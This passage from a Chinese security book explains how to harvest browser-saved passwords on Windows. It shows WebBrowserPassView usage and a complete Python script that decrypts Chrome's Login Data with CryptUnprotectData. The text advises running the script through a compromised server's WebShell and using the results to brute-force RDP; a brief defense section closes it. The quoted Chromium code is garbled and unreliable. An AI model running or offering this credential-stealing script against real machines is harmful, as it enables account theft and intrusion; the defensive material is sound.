4.7 Chrome浏览器存储密码获取技术及防范

用户在上网过程中使用最多的工具就是浏览器,目前主流的浏览器有IE、Chrome、Firefox,以及国内以360为代表的360浏览器(QQ浏览器、猎豹浏览器、百度浏览器)。在使用浏览器访问网站时,有些浏览器会自动提示用户是否保存登录的用户名和密码,有些浏览器则需要设置是否自动保存登录密码。这些登录密码对普通用户而言就是一把钥匙,而对于黑客来说就是一个突破口。网上求购苹果公司的一个内部员工登录账号和口令,报价高达数十万美元。由此可以看出,重要公司的内网(CMS)登录账号也非常重要。

很多用户在访问网站时,因为怕麻烦,大都会选择让浏览器“记住”密码。如果这些密码保护不当,极有可能带来安全风险。本节将介绍如何快速获取Windows系统中保存的以Chrome为代表的浏览器密码,它适用的主要场景如下。

4.7.1 使用WebBrowserPassView获取浏览器密码

下面介绍WebBrowserPassView的有关内容。

1.WebBrowserPassView简介

一看名字就可以知道,WebBrowserPassView是一款浏览器密码获取软件。WebBrowserPassView的使用方法非常简单,启动后只要几秒,就能获取浏览器所记录的网址、账号及密码了。WebBrowserPassView目前支持IE1~IE10、Firefox所有版本、Safari、Chrome及Opera等主流浏览器,其官方网站地址为http://www.nirsoft.net/utils/web_browser_ password.html,下载地址为http://www.nirsoft.net/toolsdownload/webbrowserpassview.zip。

2.使用WebBrowserPassView获取密码

下载WebBrowserPassView后直接解压,运行webbrowserpassview.exe,即可获取密码。如图4-24 所示,会显示网址、浏览器类型、用户名、密码、创建时间等信息。

0217-1

图4-24 获取浏览器保存的密码

双击某条记录,会显示该记录的详细信息,如图4-25所示。可以对这些信息进行复制,也可以选中所有的记录,然后保存到本地。

0218-1

图4-25 获取记录的详细信息

4.7.2 通过编写程序获取Chrome浏览器保存的密码

下面我们讨论通过编写程序获取Chrome浏览器中保存的密码的过程。

1.Chrome浏览器的密码存储机制

Chrome浏览器加密后的密钥存储于“%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data”下的一个SQLite数据库中,这里的“APPDATA”是由系统或者用户环境变量决定的。那么,它是如何加密的呢?通过开源的Chromium,我们来一探究竟。

我们作为用户登录一个网站时,会在表单中提交“Username”及“Password”的相应值。Chrome会先判断此次登录是否是一次成功的登录,部分判断代码如下。

 Provisional_save_manager_->SubmitPassed(); 
 if (provisional_save_manager_->HasGeneratedPassword()) 
  UMA_HISTOGRAM_COUNTS("PasswordGeneration.Submitted", 1); 
 If (provisional_save_manager_->IsNewLogin() 
&& !provisional_save_manager_ ->HasGeneratedPassword()){ 
  Delegate_->AddSavePasswordInfoBarIfPermitted( 
  Provisional_save_manager_.release()); 
} else { 
provisional_save_manager_->Save(); 
Provisional_save_manager_.reset(); 
} 

当我们登录成功且使用的是一套新的证书时(也就是说,我们是第1次登录该网站),Chrome就会询问我们是否需要记住密码。

登录成功后,密码是如何被Chrome存储的呢?答案在EncryptString函数中。调用EncryptString函数,代码如下。

  Bool Encrypt::EncryptString(const std::string& plaintext,std::string* ciphertext) 
{ 
 DATA_BLOB input; 
 Input.pbData = static_cast<DWORD>(plaintext.length()); 
  
 DATA_BLOB output; 
 BOOL result = CryptProtectData(&amp;input, L"",NULL, NULL, NULL, 0,&amp;output); 
 If (!result) 
  Return false; 
//复制操作 
Ciphertext->assign(reinterpret_cast<std::string::value_type*>(output.pbD
ata); 
 
LocalFree(output.pbData); 
Return true; 
} 

以上代码的最后利用了Windows API函数CryptProtectData(请记住这个函数,因为后面会提到它)来加密。当我们拥有证书时,密码就会被恢复给我们使用。在我们得到服务器权限后,证书的问题已经不用考虑了,所以接下来要解决如何获得这些密码的问题。

2.编写脚本获取Chrome浏览器保存的密码

因为考虑到在大多数情况下无法远程登录服务器去执行GUI程序,所以,做一个Python脚本是最佳选择,其唯一的缺点是如果Windows不支持Python环境,将Python程序打包成EXE文件的话,文件体积会比较大。

下面考虑代码部分。因为用户不同,文件夹就不同,我们需要知道LOGIN DATA文件的具体路径,所以,我们需要使用Python中的os.environ从环境变量中读取LOCALAPPDATA的路径,剩下的路径是谷歌默认生成的。

获取LOGINDATA文件的代码示例如下。

google_path = r' Google\Chrome\User Data\Default\Login Data' 
file_path = os.path.join(os.environ['LOCALAPPDATA'],google_path) 
 
#Login Data文件可以利用Python中的sqlite3库来操作 
conn = sqlite3.connect(file_path) 
for row in conn.execute('select username_value, password_value, signon_realm 
from logins'): 
#利用Win32crpt.CryptUnprotectData对加密的密码进行解密操作 
 cursor = conn.cursor() 
cursor.execute('select username_value, password_value, signon_realm from 
logins') 
 
#接收全部返回结果 
for data in cursor.fetchall(): 
passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0) 
#利用 win32crypt.CryptUnprotectData 解密后,通过输出 passwd 这个元组中的内容,可以
逐一得到Chrome浏览器存储的密码 

这里用到了CryptUnprotectData函数,与之对应的是之前提到的CryptProtectData。理论上说,CryptProtectData函数加密的文本内容都可以通过CryptUnprotectData函数来解密。对其他服务的解密方式,读者可以自行尝试。

3.完整的脚本

脚本的完整代码如下。

#coding:utf8 
import os, sys 
import sqlite3 
import win32crypt 
google_path = r'Google\Chrome\User Data\Default\Login Data' 
db_file_path = os.path.join(os.environ['LOCALAPPDATA'],google_path) 
conn = sqlite3.connect(db_file_path) 
cursor = conn.cursor() 
cursor.execute('select username_value, password_value, signon_realm from 
logins') 
#接收全部返回结果 
for data in cursor.fetchall(): 
 passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0) 
  
 if passwd: 
  print '-------------------------' 
  print u'[+]用户名: ' + data[0]  
  print u'[+]密码: ' + passwd[1]  
  print u'[+]网站URL: ' + data[2] 

运行以上脚本,效果如图4-26所示。

当然,在取得服务器WebShell的情况下,如果有执行权限但无法提权,可以利用这种方法挖掘密码,进而利用社会工程学思路对服务器的RDP服务密码进行暴力破解。

0221-1

图4-26 获取Chrome浏览器保存的密码

如果WebShell不能回显,可以使用类似getpass的方式将其导出到文本文件中,代码如下。

Python chrome.py > 1.txt 

提示

导出过程中,将输出文件的名称设置为中文可能会报错,建议换成英文文件名导出。

注意

当用户打开Chrome时,Login Data文件是被锁定的,如果这时想要对其进行读取操作,可以将Login Data文件复制到临时目录。

4.7.3 浏览器密码获取的防范方法

对于浏览器密码获取的防范,笔者认为可以采取以下一些措施。

1.打造专用访问系统

现在,计算机的性能都很不错,可以在本机搭建虚拟机平台,单独用一台虚拟机来访问重要系统和重要网站。也要为虚拟机设置系统访问口令,这样实体机即使未锁屏,其他人也不能快速获取其口令。专机专用可以防止感染病毒及账号被盗。

2.使用绿色免安装浏览器

对免安装浏览器,WebBrowserPassView是无法获取其存储的密码的。很多密码获取软件都是根据浏览器安装的默认路径来读取配置文件和数据库,进而获取密码。因此,使用免安装浏览器可以避免密码被获取。其实,最好的办法就是不让浏览器记录密码。

密码的攻防从来不是绝对的,我们只有小心谨慎,从技术的角度尽量降低密码泄露的风险,从管理的角度防范物理接触和远程访问获取密码。不安全的系统就意味着密码被获取和截取,因此,要尽量使自己的系统安全可靠。